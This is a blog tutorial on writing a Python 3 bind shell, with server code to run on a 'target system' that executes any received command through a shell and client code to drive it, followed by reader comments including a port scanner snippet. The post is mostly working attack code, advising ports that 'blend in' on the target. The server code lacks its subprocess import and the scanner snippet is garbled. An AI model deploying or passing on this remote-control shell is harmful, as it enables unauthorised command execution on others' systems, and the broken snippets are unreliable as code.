Bind Shell in Python 3
What’s going on guys?
I have been packed with work and studying for certifications recently, leaving me little time to bring you some cool articles. 🙁
Anyway, I’ve been interested in analyzing different types of shells and coding them myself with custom options.
This time we’ll stick to the basics though: we’ll be looking at a bind shell coded in Python 3, of course, in as few lines of code as possible.
Why Bind Shell?
Every shell has its purpose and we need to be looking to increase our arsenal and understanding of what shell works better in each case.
A bind shell, while clumsy in implementation on most targets – considering you have to do port forwarding and have it listening – does have its advantages when it comes to flexibility from the attacking system. It allows us to connect using different tools like a proxy, for example, or even from a coffee shop or another anonymous location.
With that said, let’s get into the code since I’m short on time.
Dive Into The Code
First, let’s take a look at the server code (run in the target system):
#!/usr/bin/env python3 import socket,os # Socket configuration c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.bind(('0.0.0.0', 4420)) c.listen(1) s,a = c.accept() while True: data = s.recv(1024) if data.decode() == "quit": break elif data.decode()[:2] == "cd": try: os.chdir(data.decode()[3:]) except: pass else: proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read() + proc.stderr.read() stdoutput.decode() s.sendall(stdoutput) s.sendall('EOFX'.encode()) # Loop ends here s.send('Bye!'.encode()) s.close()
We’ll go ahead and choose a port to listen on (in this case 4420).
Of course, we’ll need to do port forwarding on that target system, which reminds me, you’ll most often want to stick with other ports that can blend in with the target system in question (like 80, 8080, 443, or whatever fits).
If you’ve seen the reverse shell series you’ll notice this code is similar to it with just a few bits switched, since this is a bind shell.
Once we receive a connection, will listen for commands, run them and send the output over the network to our “client” – the controlling party.
Now let’s check out the client code:
#!/usr/bin/env python3 import socket,os # Enter IP address and port HOST = 'Enter.IP.Address.Here' PORT = 4420 # Configure socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('\nHowdy!\nEOFX'.encode()) while True: # Receive data data = s.recv(1024) # Check for end of command if data.decode().endswith("EOFX") == True: # Print data without 'EOFX' print(data[:-4].decode()) # Get next command nextcmd = input(": ") # Send that $hit if nextcmd == 'quit': s.send(nextcmd.encode()) break else: s.send(nextcmd.encode()) # If we haven't reach end of command, print else: print(data.decode())
First of all, make sure to match the correct IP address and port.
With that out of the way, the code starts off by attempting to initialize the connection on that supplied IP address and port.
Then, its simply a matter of prompting the user for which command they want to run on the server and send it over to get the output from it.
print(‘\n>Python3 Port Scanner\n ‘+ ‘=’*20+’\n’)
if len(sys.argv) > 1:target = socket.gethostbyname(sys.argv)
else:target = socket.gethostbyname(input(‘>Enter target:’))
# Scan ports – arguments: target + port
def scanPort(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = connect_ex((target, port))
if c == 0: print(‘ ‘ + target + ‘~Port %d [open]’ % (port, ))
# Here we define range of ports
for i in range(1, 1024):
scan = threading.Thread(target = scanPort, args = (target, i))
I tried to run the above code through pydroid 3 and it is throwing an endless error.
Hey man, thanks for checking out the article!
I tested out the code on pydroid it worked fine for me.
Did you put in a target when asked for?
It should be a IP address or a domain like codeonby.com for example.
Let me know if you’re still having any issues!
What about stderr? When you try some command like “NET” without required args, the output is in stderr, and you can’t receive.